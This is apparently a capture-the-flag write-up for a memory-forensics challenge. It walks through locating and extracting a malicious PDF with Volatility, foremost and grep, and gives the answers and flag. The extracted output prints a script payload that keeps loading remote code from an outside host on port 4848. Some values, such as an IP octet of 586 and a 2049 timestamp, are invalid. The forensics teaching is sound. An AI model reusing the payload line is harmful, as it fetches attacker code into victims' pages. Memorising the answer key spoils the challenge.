



Mission Name

FindOutDeeply

History Context

The main objective for Claire and Ethan, is to check if the book provided was written by Claire's father.

Technical High-Level Overview

Player must analyse a book provided, named PATHALOGICUS - VIRAL VECTORS - eDNA. SKYTECH 2024.pdf. This book was written by Claire's father. Player's goal would be to locate a malicious PDF file.

Short Description

You're going to search for a book named PATHALOGICUS - VIRAL VECTORS - eDNA. SKYTECH 2024.pdf. Your goal is to analyse and detect any IP address related to the PDF file.

Mission Description

You're going to search for a book named PATHALOGICUS - VIRAL VECTORS - eDNA. SKYTECH 2024.pdf. To accomplish this goal, you're going to analyse a memory image. Your goal is to analyse and detect any IP address related to the PDF file.

Location

- SHANGHAI | BACKSTREET BAR



Tools

- Volatility 2
- Strings and GREP

Questions

Which is the port of the payload?

- 4848

Which process ID has opened the PDF file?

- 7068

Hints

1. Located PDF file inside the memory image **and yara command**
2. Extract all PDF files from the memory using **dumpfiles** command
3. Use strings command and grep to filter an IP Address of the extracted PDF files

Write Up

Player must detect version of the operating system that was run on the memory image:

- volatility -f memory_file --profile=Win10x64_18362 imageinfo

```
jmma@demowindows:/mnt/c/Users/jmma$ volatility -f /mnt/c/Thratia_2/C3-M3/high/Windows\ 10\ x64_SHANGAI_Memory-28d50a49.vmem imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
Suggested Profile(s) : Win10x64_18362
    AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
    AS Layer2 : FileAddressSpace (/mnt/c/Thratia_2/C3-M3/high/Windows 10 x64_SHANGAI_Memory-28d50a49.vm
em)
        PAE type : No PAE
        DTB : 0x1ad002L
        KDBG : 0xf8037a6c55e0L
    Number of Processors : 2
Image Type (Service Pack) : 0
    KPCR for CPU 0 : 0xfffffff80379542000L
    KPCR for CPU 1 : 0xfffffc38153c80000L
    KUSER_SHARED_DATA : 0xffffff780000000000L
    Image date and time : 2049-04-26 17:48:33 UTC+0000
    Image local date and time : 2049-04-26 19:48:33 +0200
```

Figure 1

We don't know anything about the location of the file, so it would be interesting to know where the file is located:

- volatility -f memory_file --profile=Win10x64_18362 yarascan -Y "PATHALOGICUS"

```
jmma@demowindows:/mnt/c/Users/jmma$ volatility -f /mnt/c/Thratia_2/C3-M3/high/Windows\ 10\ x64_SHANGAI_Memory-28d50a49.vmem --profile=Win10x64_18362 yarascan -Y "PATHALOGICUS"
Volatility Foundation Volatility Framework 2.6.1
rule: r1
owner: Process svchost.exe Pid 1452
0x2173a825c0a 50 41 54 48 41 4c 4f 47 49 43 55 53 25 32 30 2d PATHALOGICUS%20-
0x2173a825c1a 25 32 30 56 49 52 02 00 00 00 00 00 00 00 00 %20VIR.....
0x2173a825c2a 00 00 00 00 00 00 25 32 30 65 44 4e 41 2e 25 32 .....%20eDNA.%2
0x2173a825c3a 30 53 4b 59 21 40 b2 f8 0d 9f 7b 99 7d 2a 00 00 0SKY!@....{.}*..
0x2173a825c4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 e8 .....
0x2173a825c5a ba 3c 17 02 00 00 00 00 00 00 00 00 00 00 00 00 .<.....
0x2173a825c6a 00 00 00 00 00 00 98 7e 95 9b f9 7f 00 00 50 7e .....P~
0x2173a825c7a 95 9b f9 7f 00 00 00 00 00 00 00 00 00 00 00 00 .....
0x2173a825c8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....gai/....
0x2173a825c9a 00 00 00 00 00 00 67 61 69 2f 00 00 00 00 00 00 .....TRAL%20VEC
0x2173a825caa 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 .....
0x2173a825cba 00 00 00 00 00 00 49 52 41 4c 25 32 30 56 45 43 .....
```

Figure 2



And eventually player could identify the location of the file:

```
Owner: Process svchost.exe Pid 1452
0x2173c304660 50 41 54 48 41 4c 4f 47 49 43 55 53 20 2d 20 56 PATHALOGICUS.-.V
0x2173c304670 49 52 41 4c 20 56 45 43 54 4f 52 53 20 2d 20 65 IRAL.VECTORS.-.e
0x2173c304680 44 4e 41 2e 20 53 4b 59 54 45 43 48 20 32 30 32 DNA..SKYTECH.202
0x2173c304690 34 2e 70 64 66 22 2c 22 61 63 74 69 76 61 74 69 4.pdf","activationUri":"microsoft
0x2173c3046a0 6f 6e 55 72 69 22 3a 22 6d 69 63 72 6f 73 6f 66 t-edge:file:///C:/Users/shanghai/Desktop/PATHALOG
0x2173c3046b0 74 2d 65 64 67 65 3a 66 69 6c 65 3a 2f 2f 2f 43 ICUS%20-%20VIRAL
0x2173c3046c0 3a 2f 55 73 65 72 73 2f 73 68 61 6e 67 61 69 2f %20VECTORS%20-%2
0x2173c3046d0 44 65 73 6b 74 6f 70 2f 50 41 54 48 41 4c 4f 47 0eDNA.%20SKYTECH
0x2173c3046e0 49 43 55 53 25 32 30 2d 25 32 30 56 49 52 41 4c %202024.pdf","appDisplayName":"Microsoft.Edge",
0x2173c3046f0 25 32 30 56 45 43 54 4f 52 53 25 32 30 2d 25 32 description":"file:///C:/Users/s
0x2173c304700 30 65 44 4e 41 2e 25 32 30 53 4b 59 54 45 43 48 Rule: r1
0x2173c304710 25 32 30 32 30 32 34 2e 70 64 66 22 2c 22 61 70
0x2173c304720 70 44 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 4d
0x2173c304730 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 2c 22
0x2173c304740 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 66 69
0x2173c304750 6c 65 3a 2f 2f 43 3a 2f 55 73 65 72 73 2f 73
```

Figure 3

- Then, Player has to extract PDF file from the memory

```
(recon㉿recon)-[~/Desktop/13_FindOutDeeply/hard]
└ foremost -i Memory.raw -o /home/recon/Desktop/13_FindOutDeeply/hard/results -t pdf -T
Processing: Memory.raw
|*****|
```

```
(recon㉿recon)-[~/Desktop/13_FindOutDeeply/hard]
$ cd results_Thu_Mar_28_07_03_16_2024
```

```
(recon㉿recon)-[~/Desktop/13_FindOutDeeply/hard/results_Thu_Mar_28_07_03_16_2024]
└ ls -la
total 16
drwxr-xr-- 3 recon kali 4096 Mar 28 07:03 .
drwxr-xr-x 4 recon kali 4096 Mar 28 07:03 ..
-rw-r--r-- 1 recon kali 785 Mar 28 07:03 audit.txt
drwxr-xr-- 2 recon kali 4096 Mar 28 07:03 pdf
```

```
(recon㉿recon)-[~/Desktop/13_FindOutDeeply/hard/results_Thu_Mar_28_07_03_16_2024]
$ cd pdf
```

```
(recon㉿recon)-[~/13_FindOutDeeply/hard/results_Thu_Mar_28_07_03_16_2024/pdf]
└ ls -la
total 12728
drwxr-xr-- 2 recon kali 4096 Mar 28 07:03 .
drwxr-xr-- 3 recon kali 4096 Mar 28 07:03 ..
-rw-r--r-- 1 recon kali 13024094 Mar 28 07:03 03542945.pdf
```

```
(recon㉿recon)-[~/13_FindOutDeeply/hard/results_Thu_Mar_28_07_03_16_2024/pdf]
$ strings *.pdf | grep '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'

1.7.306.1
<script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="//48.586.1.55:4848"},1010)</script>
Windows.PrintDialog_6.2.1.0_neutral_neutral_cw5n1h2txyewy
```

```
(recon㉿recon)-[~/13_FindOutDeeply/hard/results_Thu_Mar_28_07_03_16_2024/pdf]
$
```

Figure 4

Once extracted, player must analyse them to get the IP Address inside it:



Flag Information

flag{48.586.1.55}